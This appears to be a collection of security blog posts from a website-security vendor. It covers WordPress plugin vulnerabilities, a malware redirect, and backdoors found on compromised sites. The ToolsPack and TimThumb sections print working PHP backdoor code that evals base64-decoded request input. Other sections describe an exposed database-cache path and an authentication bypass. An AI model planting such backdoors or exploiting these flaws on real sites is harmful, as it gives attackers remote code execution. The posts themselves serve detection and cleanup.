Free Sucuri WordPress Plugin Gets New Features

We just released some major updates to our Free WordPress plugin that we recommend all WordPress users check out.

Before the update, the plugin was just a simplified way to reach and scan a site using Sitecheck, now it is doing a lot more:

Sucuri WP Plugin

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W3 Total Cache Implementation Vulnerability

Just in time for Christmas, it was announced on the full disclosure list a security (configuration/implementation) bug on W3 Total cache (W3TC), one of the most popular WordPress plugins.

The issue is connected to the way W3TC stores the database cache (in a public accessible directory). It can be used to retrieve password hashes and other database information.

By default the plugin will store the caches inside /wp-content/w3tc/dbcache/ and if you have directory listing enabled, anyone can browse to and download them. The second issue is that even if you don’t have directory listing enabled, it is still possible to guess those directories/files in order to extract the database cache queries and results.

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Sucuri SiteCheck Malware Scanner Plugin for WordPress

If you’re a WordPress user, love our free SiteCheck scanner, or already use our free SiteCheck Malware Scanner Plugin for WordPress, we have an update for you.

Sucuri Security - SiteCheck Malware Scanner

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Sociable WordPress Plugin Security Warning

If you are using the Sociable WordPress Plugin (plugin with 1,777,161 downloads), be very careful when visiting the plugin’s page settings. We recommend that you disable it or remove it for now, at least until it gets fixed.

A customer alerted us to the issue, when you visit the settings page (e.g., you get a malware warning from Google (this site may harm your computer).

What is going on?

The issue is that the plugin is loading an image from a site that is currently compromised (inside this file: includes/class-sociable_Admin_Options.php):

That causes the browser to redirect to (known malware site). This is what happens when you load that image:

$ curl -D – -A “”

HTTP/1.1 302 Found
Date: Fri, 07 Sep 2012 21:02:59 GMT
Server: Apache
Location: httx://commitse .ru
Content-Length: 266
Content-Type: text/html; charset=iso-8859-1

There are some discussions on the WordPress forums about it here:, but in the mean time, we recommend users delete or disable the plugin.

It doesn’t look like the plugin was compromised, just an external image was used and the site housing that image is currently compromised.

We will post more details when we have it.

Official WordPress Plugin Directory – Forcing Plugin Updates

For some while we have wondered what happens when a plugin is removed from the official WordPress plugin directory for security reasons. Historically, we haven’t seen much of anything happen – no notification to users, no official blog post, nothing beyond the plugin disappearing from the repo. Sometimes when it did disappear, my understanding is updates were forced – certainly for the major vulnerabilities.

In an interesting move, it looks like some experimental changes have been made to help ensure users quickly learn there is a security problem.

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Sucuri Security WordPress Plugin Free To Clients: Getting Proactive with Web Malware

We are happy to announce that our premium WordPress plugin is now for free to all our existing and new clients. The plugin is a great compliment to our malware scanning and remediation services and provides a large array of features designed to help you combat the growing web malware problem.

Note: the plugin is available under all our existing plans for all our users.

We have started to get questions that ask whether this is the only plugin required for all your security needs, the answer is “no”. It is meant to compliment your arsenal and help you become more proactive when it comes to securing your WordPress instance.

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Vulnerability in the Absolute Privacy Plugin

We are seeing reports that a vulnerability in the Absolute Privacy WordPress plugin (link) is being used to hack and compromise sites with it installed.

This plugin has a serious unpatched security vulnerability that allows anyone to login in the WordPress site without a password. From Secunia:

Schaffnern has discovered a vulnerability in the Absolute Privacy plugin for WordPress, which can be exploited by malicious people to bypass certain security restrictions.

The vulnerability is caused due to an error within the “abpr_authenticateUser()” function in wp-content/plugins/absolute-privacy/functions.php, which prevents the password from being verified. This can be exploited to bypass the authentication mechanism and gain administrative access to the application.

The vulnerability is confirmed in version 2.0.5. Other versions may also be affected.

Note that this plugin has had more than 35 thousand downloads and no patches for this bug. We recommend deleting this plugin asap until a fix is in place.

Our team is still analysing this vulnerability and we will post more details soon. Additional information and original report was found here.

If you think your site has been compromised, you can verify it in here:

New WordPress ToolsPack Plugin

We deal with many compromised sites daily and lately we are seeing something in common across many of the sites running WordPress.

They have installed a plugin called ToolsPack ( ./wp-content/plugins/ToolsPack/ToolsPack.php), which according to the author will “Supercharge your WordPress site with powerful features previously only available to users. core release. Keep the plugin updated!”


However, when we look at the plugin code, all it does is this:

Plugin Name: ToolsPack
Description: Supercharge your WordPress site with powerful features previously only available to users. core release. Keep the plugin updated!
Version: 1.2
Author: Mark Stain
Author URI:
$_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit;

If you are not familiar with PHP, this is just a backdoor that allows attackers to execute any code on your site. If you see this plugin installed on your system, remove it right away!

How this plugin got in there is a different question. On some of compromised websites we noticed it implemented via wp-admin (so stolen passwords), and on others it is being installed via another backdoor.

Removing this plugin will not likely solve your security issues. You have to do a full review of the website – check all your files, update WordPress, change passwords, etc.

Have you seen this plugin, or something like it? make sure to leave a comment with your experience.

Site is hacked? Not sure? Check here

TimThumb.php backdoor

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well.

We are seeing in many sites the timthumb.php with the following code added to it:

if (md5 (md5($_POST['p']))===’xxx8ab2ab.. a4ec61072xxx’)
die (eval ( base64_decode ($_POST['c'])));

If you are not sure what this code does, it receives a password via the “p” POST and if it is correct, it executes any PHP code sent by the attackers in the “c” POST variable.

For more details on the timthumb.php vulnerability, check our multiple posts about it: here. For more information about backdoors, we did a nice post about them: ASK Sucuri: What about the backdoors?

TimThumb.php Vulnerability Not Only Affecting Themes – Plugins too

The Timthumb.php vulnerability is being used in the wild to hack and infect thousands of WordPress sites.

Hopefully everyone is checking their themes and updating the script to make sure it is not vulnerable. This is wishful thinking.

Unfortunately, the issue is not limited to themes alone. There are some plugins that include the TimThumb.php script, and you need to check and update them as well (if you are not sure how to do so, check out this post, we’ve include a script to automate it for you).

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